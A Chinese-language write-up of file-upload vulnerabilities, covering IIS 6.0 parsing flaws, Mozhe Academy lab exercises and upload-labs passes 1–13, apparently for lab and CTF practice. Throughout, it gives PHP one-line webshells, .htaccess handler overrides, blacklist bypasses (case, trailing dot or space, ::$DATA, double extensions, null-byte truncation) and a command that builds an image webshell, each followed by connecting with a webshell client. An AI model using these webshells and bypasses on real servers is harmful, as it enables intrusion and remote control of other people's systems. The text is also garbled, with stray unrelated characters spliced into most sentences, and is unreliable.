文件上傳漏洞
- 常見的漏洞分類
服務(wù)器配置不當(dāng)導(dǎo)致文件上傳
開源編輯器存在上傳漏洞
本地文件上傳限制可以上傳被繞過
服務(wù)器端過濾不嚴(yán)可以被繞過
解析漏洞導(dǎo)致文件執(zhí)行
文件路徑截斷
IIS6.0 解析漏洞
在 Windows 2003下 IIS 6.0有兩個漏洞锻弓。
1傀蚌、目錄解析
/xx.asp/xx.jpg
利用方法:在網(wǎng)站下建立文件夾的名字為.asp、.asa的文件夾,其目錄內(nèi)的任何擴(kuò)展名的文件都被iis當(dāng)做是.asp的文件解析來執(zhí)行斑唬。
2胯舷、文件解析
Abc.asp;.jpg
利用方法:在iis6.0下,分號后面的不被解析谋旦,也就是說網(wǎng)站上傳圖片的時候剩失,將網(wǎng)頁木馬文件的名字改成“*.asp;.jpg”,也同樣會被 IIS 當(dāng)作 asp 文件來解析并執(zhí)行册着。例如上傳一個圖片文件拴孤,名字叫“vidun.asp;.jpg”的木馬文件,該文件可以被當(dāng)作 asp 文件解析并執(zhí)行甲捏。演熟,默認(rèn)可執(zhí)行的文件還包含三種:
/abc.asa
/abc.cer
/abc.cdx
補充:
對于文件上傳漏洞的防護(hù)來說,主要分為以下兩類:
白名單限制和黑名單限制
對于黑名單的限制司顿,我們只需要尋找一些較為偏僻的可執(zhí)行后綴芒粹、大小寫混寫以及相關(guān)操作系統(tǒng)的特性(如windows文件名后綴的最后會自動過濾空格以及.等)來進(jìn)行繞過;
對于白名單的限制來說大溜,一般是結(jié)合解析漏洞是辕、代碼函數(shù)漏洞(icov(80-EF截斷),造成00截斷的相關(guān)函數(shù)以及相關(guān)操作系統(tǒng)特性(如windows10文件名長度總共為223包括后綴猎提,win2012的為237获三,linux ubuntu0.16.04.1文件名長度252等)來進(jìn)行繞過!
IIS解析漏洞1:
在網(wǎng)站下建立文件夾的名字為 .asp锨苏、.asa 的文件夾疙教,其目錄內(nèi)的任何擴(kuò)展名的文件都被 IIS 當(dāng)作 asp 文件來解析并執(zhí)行。例如創(chuàng)建目錄 vidun.asp伞租,那么 /vidun.asp/1.jpg 將被當(dāng)作 asp 文件來執(zhí)行
例子一:
http://219.153.49.228:49837/ 訪問網(wǎng)站(墨者學(xué)院)
1贞谓、先確定服務(wù)器的類型,先隨便上傳一個.asp文件葵诈,抓包發(fā)送到repeater,從報錯信息可以看到服務(wù)器類型為:Server: Microsoft-IIS/6.0
÷阆摇2祟同、修改upload目錄為abc.asp,點擊go
3理疙、到上傳路徑和文件名
≡纬恰4、訪問上傳的木馬文件窖贤,用菜刀鏈接
例子二:
上傳可以看到上傳的時候彈出一個彈窗砖顷,只讓我們上傳上面格式的文件,先看一下源碼
<!doctype html>
<html lang="zh-cn">
<head>
<meta charset="utf-8">
<title>Upload</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="author" content="">
<link href="static/bootstrap.css" rel="stylesheet">
<link href="static/cover.css" rel="stylesheet">
<script src="static/jquery.js"></script>
<script src="static/bootstrap.js"></script>
<script language="JavaScript">
extArray = new Array(".gif", ".jpg", ".png");
function LimitAttach(form, file) {
allowSubmit = false;
if (!file) return;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}
if (allowSubmit) form.submit();
else
alert("對不起赃梧,只能上傳以下格式的文件: "
+ (extArray.join(" ")) + "\n請重新選擇符合條件的文件"
+ "再上傳.");
return false;
}
</script>
</head>
<body>
<div class="site-wrapper">
<form class="form-signin" action="upload.php" method="post" enctype="multipart/form-data" name="upload">
<h3>請選擇文件上傳:</h3>
<input class="form-control" type="file" name="uploadfile"/>
<input type="submit" name="submit" value="上傳文件" onclick="return LimitAttach(this.form, this.form.uploadfile.value)"/>
</form>
</div>
</body>
</html>
發(fā)現(xiàn)前端存在js驗證滤蝠,只能識別圖片格式的文件進(jìn)行上傳,這里有兩種方法:
第一種是:將一句話木馬1.php的后綴名改成.jpg格式的然后進(jìn)行上傳授嘀,用burpsuit進(jìn)行對文件格式改為1.php物咳,上傳成功后用菜刀進(jìn)行鏈接獲取shell,并找到key.
第二種是: 先在瀏覽器輸入about:config(僅限于火狐瀏覽器),然后搜索java script .enabled將切換為false,這樣就禁用了javascript,前端驗證不起作用 蹄皱,創(chuàng)建一句話木馬 <?Php eval($_post[‘123’])?>,直接上傳览闰,返回上傳路徑 uploads/1.php,然后菜刀鏈接
使用方法一進(jìn)行測試夯接,http://219.153.49.228:42415/ 訪問網(wǎng)站
隨便上傳一張圖片用burpsuite抓包焕济,修改文件夾后綴以及在內(nèi)容里面添加一句話木馬
訪問返回木馬的路徑
菜刀連
例子三:
1、上傳很多次盔几,都顯示 不允許上傳晴弃,后來把一句話木馬寫入到圖片里面,然后通過burpsuit進(jìn)行修改后綴逊拍,上傳成功
burpsuit進(jìn)行修改后綴
查看返回地址
菜刀連接
例子四:
瀏覽器設(shè)置代理上鞠,上傳一張正常的圖片,burp抓包
修改burpsuite抓到的包芯丧,在內(nèi)容區(qū)域?qū)懭胍痪湓捘抉R芍阎,最好不要寫在最前面,有可能上傳的時候會檢測文件頭缨恒,盡量在中間寫入木馬
菜刀鏈接谴咸,找打key
例子五:
文件后綴名繞過
前提是:黑名單校驗
黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件骗露。
繞過方法:
(1)找黑名單擴(kuò)展名的漏網(wǎng)之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴(kuò)展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee
1岭佳、上傳是php文件的解析規(guī)則
所以構(gòu)造好php一句話木馬
2、使用burpsuit進(jìn)行截斷攻擊
簡單的更改文件后綴名字發(fā)現(xiàn)有相應(yīng)的過濾規(guī)則
3萧锉、嘗試進(jìn)行截斷
隨便構(gòu)造一個后綴名字珊随。
4、成功上傳,菜刀鏈接
例子六:
這道題也是借助大佬的幫助才成功叶洞,具體我們來看:
先掃描一波目錄看看
發(fā)現(xiàn)了幾個比較有用的目錄鲫凶,特別是upload1.php跟upload2.php兩個上傳頁面
我們先來訪問upload1.php:
點擊確定后是upload2.php,竟然是一片空白
不過中間好像有個上傳的頁面一閃而過,我們用burp抓包衩辟,來一頁一頁看頁面
果然有這個頁面螟炫,但是抓包的cookie引起了我們的注意:
Cookie: uploadmd5=verify%2F2b10f3817a8604ef.txt
我們查看源代碼:
竟然還有一個隱藏的提交表單
<input type="hidden" name="verify" value="2b10f3817a8604ef"/>
我們解碼這個 :2b10f3817a8604ef-----> 結(jié)果是 : 1543390594
感覺好像跟題目沒有一點關(guān)系的好吧
但是我們又突然發(fā)現(xiàn)它是以 .txt結(jié)尾的,這是不是會存在任意文件讀取漏洞惭婿,我們稍后嘗試不恭,我們進(jìn)行下一步上傳
我們直接構(gòu)造 shell.php 內(nèi)容為 <?php @eval($_POST["cmd"]);?> 進(jìn)行上傳
ok叶雹!已經(jīng)成功了财饥,可以用菜刀連接了 等等,咦路徑呢折晦?
分析數(shù)據(jù)包可能是upload_file.php....我們訪問試一下
然而并不是剛剛上傳的木馬钥星,木馬雖然傳上去了,但是路徑呢满着,路徑呢
突然想到還有一個可能包含任意文件讀取的點谦炒,我們重新抓包
把 verify%2F2b10f3817a8604ef.txt ------> upload_file.php
分析源代碼
<?php
$path="uploadfile/";//é?′??·??
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];
$file2 = $path.$time.'_'.$verify.'_'.$file1;
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "é?′?3é1|!";
?>
源碼中發(fā)現(xiàn)包含了上傳路徑
$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
關(guān)鍵在這一句,$file2 可能保存的就是文件的上傳路徑
$file2 = $path.$time.'_'.$verify.'_'.$file1;
其中:
$path="uploadfile/"
$verify=$_POST["verify"]; 我想到了那個隱藏的提交表單风喇,其中value="2b10f3817a8604ef"
$time=date("Ymd"); Ymd不就年月日宁改,那今天就是20181128
按照這樣解釋的話,路徑也就是admin/uploadfile/20181128_2b10f3817a8604ef_shell.php
這樣猜想的魂莫,試試看
訪問还蹲,使用菜刀連接,獲取key
后來才發(fā)現(xiàn)還有upload.php耙考,御劍估計老了谜喊,我們用任意代碼的漏洞查看
竟然是cookie的生成過程椎咧,哈哈哈
到此為止鉴吹,掌握方法,順便告訴我們cookie的重要性
墨者學(xué)院文件上傳的題目到這里就全部做完梅猿,這樣就夠了鞋邑,顯然是不夠的诵次,我又本地搭建了Upload-labs靶場進(jìn)行練習(xí)
開始你的表演,先來張圖壓壓驚
-
pass-01
上傳文件枚碗,顯示只能上傳什么類型的
2.png
審查元素發(fā)現(xiàn):是js驗證
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳逾一,請上傳" + allow_ext + "類型的文件,當(dāng)前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
這時要猜測判斷文件后綴的代碼是在前端還是后端,打開burp進(jìn)行攔截视译,發(fā)現(xiàn)點擊上傳后嬉荆,并沒有進(jìn)行發(fā)包】岷可知判斷后綴的代碼在前端鄙早,即用js代碼判斷的汪茧,打開瀏覽器的審查元素,找到文件上傳的js代碼
發(fā)現(xiàn)有一個checkFile()函數(shù)限番,推測可能是這個函數(shù)進(jìn)行判斷的舱污,我們把它刪除后再上傳,或者也可以通過抓包的方式修改文件后綴進(jìn)行繞過
上傳之后查看源碼弥虐,得到上傳文件的路徑
訪問連接扩灯,菜刀連接
- pass-02
第二關(guān)先進(jìn)行黑盒測試,發(fā)現(xiàn)可以上傳正常圖片霜瘪、修改后綴名的(shell.php改為shell.jpg)進(jìn)行上傳珠插、抓包修改后綴名(上傳shell.jpg抓包改為shell.php)、修改文件類型(上傳shell.php,修改Content-Type: image/gif)成功上傳木馬颖对。
這就說明只是服務(wù)器對后綴名進(jìn)行驗證捻撑,繞過問題不大。我們查看原代碼分析下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件類型不正確缤底,請重新上傳顾患!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夾不存在,請手工創(chuàng)建!';
}
}
基礎(chǔ)知識:
$_FILES["file"]["name"] – 被上傳文件的名稱
$_FILES["file"]["type"] – 被上傳文件的類型
$_FILES["file"]["size"] – 被上傳文件的大小个唧,以字節(jié)計
$_FILES["file"]["tmp_name"] – 存儲在服務(wù)器的文件的臨時副本的名稱
$_FILES["file"]["error"] – 由文件上傳導(dǎo)致的錯誤代碼
move_uploaded_file(file,newloc) 函數(shù)將上傳的文件移動到新位置江解。
參數(shù) 描述
file 必需。規(guī)定要移動的文件徙歼。
newloc 必需犁河。規(guī)定文件的新位置。
如果 file 不是合法的上傳文件鲁沥,不會出現(xiàn)任何操作呼股,move_uploaded_file() 將返回 false。
如果 file 是合法的上傳文件画恰,但出于某些原因無法移動彭谁,不會出現(xiàn)任何操作,move_uploaded_file() 將返回 false允扇,此外還會發(fā)出一條警告缠局。
可以看到這里采用的是后端驗證文件類型, 但是他只過濾的文件類型, 并沒有過濾文件后綴名, 所以可以上傳 php 文件修改 content-type 繞過, 可以看到成功執(zhí)行了 phpinfo
- pass-03
禁止上傳.asp|.aspx|.php|.jsp后綴文件
用上面方法發(fā)現(xiàn)上傳都不行,發(fā)現(xiàn)對.asp|.aspx|.php|.jsp后綴名進(jìn)行了嚴(yán)格的限制考润。
用[.htaccess]從新解析.htaccess的內(nèi)容是狭园,意思是讓jpg格式的文件也當(dāng)成php文件運行
AddType application/x-httpd-php .jpg
當(dāng)然也需要apache支持
配置文件LoadModule rewrite_module modules/mod_rewrite.so前的注釋去掉,尋找關(guān)鍵詞:AllowOverride糊治,并把后面的參數(shù)從None全部改成All
首先上傳.htaccess文件唱矛,再上傳jpg文件解析成功
注.htaccess基礎(chǔ)知識重點內(nèi)容
.htaccess文件(或者”分布式配置文件”),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即绎谦,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件管闷, 以作用于此目錄及其所有子目錄。作為用戶窃肠,所能使用的命令受到限制包个。管理員可以通過Apache的AllowOverride指令來設(shè)置。
啟用.htaccess冤留,需要修改httpd.conf碧囊,啟用AllowOverride,并可以用AllowOverride限制特定命令的使用纤怒。如果需要使用.htaccess以外的其他文件名糯而,可以用AccessFileName指令來改變。例如肪跋,需要使用.config 歧蒋,則可以在服務(wù)器配置文件中按以下方法配置:AccessFileName .config 土砂。
它里面有這樣一段代碼:AllowOverride None州既,如果我們把None改成All
- pass-04
查看源代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建!';
}
}
雖然還是黑名單萝映,但幾乎過濾了所有有問題的后綴名吴叶,除了.htaccess,于是首先上傳一個.htaccess內(nèi)容如下的文件:
SetHandler application/x-httpd-php
這樣所有文件都會解析為php序臂,然后再上傳圖片馬蚌卤,就可以解析:
訪問
- pass-05
查看源代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建!';
}
}
現(xiàn)在這個.htaccess是上傳是不行的奥秆。分析下代碼發(fā)現(xiàn)逊彭,他少了這么一行,出現(xiàn)比較嚴(yán)重的問題。
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
可以看到在第五關(guān)代碼中沒有這個
于是可以通過大小寫繞過:
發(fā)現(xiàn)成功上傳构订,可以訪問一下侮叮,發(fā)現(xiàn)成功執(zhí)行:
- pass-06
查看源代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建!';
}
}
發(fā)現(xiàn)依然是黑名單悼瘾,但這次程序沒有對文件后綴去空(其實如果程序沒有對文件進(jìn)行重命名的話囊榜,可以借one.php .jpg繞過白名單的)
上傳一個php文件,抓包將文件名后綴加上空格亥宿,如下圖
訪問:
- pass-07
查看源代碼:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建卸勺!';
}
}
還是黑名單,但是沒有對后綴名進(jìn)行去”.”處理烫扼,利用windows特性曙求,會自動去掉后綴名中最后的”.”,可在后綴名中加”.”繞過:
訪問
- pass-08
查看源代碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建!';
}
}
說實話第八關(guān)這個繞過方式我之前根本不知道的悟狱,就是在php+windows的情況下:如果文件名+"::DATA之后的數(shù)據(jù)當(dāng)成文件流處理,不會檢測后綴名.且保持"::$DATA"之前的文件名怎抛。
具體原理還不是很清楚。芽淡。
- pass-09
這關(guān)算是一個邏輯漏洞
查看源碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允許上傳';
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建马绝!';
}
}
黑名單過濾,注意第15行和之前不太一樣挣菲,程序先是去除文件名前后的空格富稻,再去除文件名最后所有的.,再通過strrchar來尋找.來確認(rèn)文件名的后綴白胀,但是最后保存文件的時候沒有重命名而使用的原始的文件名椭赋,導(dǎo)致可以利用類似shell.php. .(兩個點號之間有一個空格)繞過,如果重名名了文件的話應(yīng)該會用$file_ext來進(jìn)行拼湊文件或杠,這樣保存在服務(wù)器中的文件將沒有后綴(去除了.空格)
$img_path = $UPLOAD_ADDR . '/' . $file_name;
訪問
- pass-10
查看源碼
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夾不存在,請手工創(chuàng)建哪怔!';
}
}
依舊是黑名單過濾,注意到向抢,這里是將問題后綴名替換為空认境,于是可以利用雙寫繞過:
$file_name = str_ireplace($deny_ext,"", $file_name);
返回
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上傳失敗艘希!';
}
}
else{
$msg = "只允許上傳.jpg|.png|.gif類型文件硼身!";
}
}
基礎(chǔ)補充兩個函數(shù):substr()、strrpos()
strrpos()
定義和用法
strrpos() 函數(shù)查找字符串在另一字符串中最后一次出現(xiàn)的位置覆享。
注釋:strrpos() 函數(shù)對大小寫敏感佳遂。
相關(guān)函數(shù):
stripos() - 查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)
strpos() - 查找字符串在另一字符串中第一次出現(xiàn)的位置(區(qū)分大小寫)
strripos() - 查找字符串在另一字符串中最后一次出現(xiàn)的位置(不區(qū)分大小寫)
語法
strrpos(string,find,start)
參數(shù) 描述
string 必需。規(guī)定被搜索的字符串撒顿。
find 必需丑罪。規(guī)定要查找的字符。
start 可選核蘸。規(guī)定在何處開始搜索巍糯。
substr()
這里寫代碼片語法
substr(string,start,length)
參數(shù) 描述
string 必需。規(guī)定要返回其中一部分的字符串客扎。
start 必需祟峦。規(guī)定在字符串的何處開始。正數(shù) - 在字符串的指定位置開始 負(fù)數(shù) - 在從字符串結(jié)尾開始的指定位置開始0 - 在字符串中的第一個字符處開始
length 可選徙鱼。規(guī)定被返回字符串的長度宅楞。默認(rèn)是直到字符串的結(jié)尾针姿。正數(shù) - 從 start 參數(shù)所在的位置返回的長度負(fù)數(shù) - 從字符串末端返回的長度
理解測試代碼:
<?php
$a = '1.jpg';
$file_ext = substr($a,strrpos($a,".")+1);
var_dump($file_ext);
?>
返回jpg
分析代碼:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
發(fā)現(xiàn)那個路徑?jīng)]有處理直接拼接上去的。所以可以利用00截斷繞過厌衙。但是發(fā)現(xiàn)怎么截斷都沒有用距淫。查閱資料得知:
截斷條件:
php版本小于5.3.4 詳情關(guān)注CVE-2006-7243
php的magic_quotes_gpc為OFF狀態(tài) //如果不修改將無法上傳成功,默認(rèn)為ON
我本地的版本為5.2.17
開始測試:
上傳文件—截斷—修改文件后綴—看返回的路徑
訪問婶希,成功上傳
- pass-12 采用00截斷POST方式
查看并分析源碼
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上傳失敗";
}
}
else{
$msg = "只允許上傳.jpg|.png|.gif類型文件榕暇!";
}
}
和十一關(guān)不同的是這次的save_path是通過post傳進(jìn)來的,還是利用00截斷喻杈,但這次需要在二進(jìn)制中進(jìn)行修改彤枢,因為post不會像get對%00進(jìn)行自動解碼
或者你也可以使用url-decode進(jìn)行編碼之后進(jìn)行上傳文件,同樣可以解析成功
我們依然使用00截斷方法:
來到+號對應(yīng)的二進(jìn)制2b將他改為00
點擊go進(jìn)行上傳
訪問
上面這種方式有一點點繁瑣筒饰,下面這種方式比較好上手
選中%00—編碼—點擊go—即可上傳成功—訪問
- pass-13 圖片馬上傳
查看源碼
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只讀2字節(jié)
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知缴啡,上傳失敗瓷们!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上傳失敗";
}
}
}
發(fā)現(xiàn)主要是取上傳文件的頭兩個字節(jié)判斷文件類型业栅,因此直接上傳圖片馬即可
圖片馬的制作
copy normal.jpg /b + shell.php /a webshell.jpg
上傳圖片馬: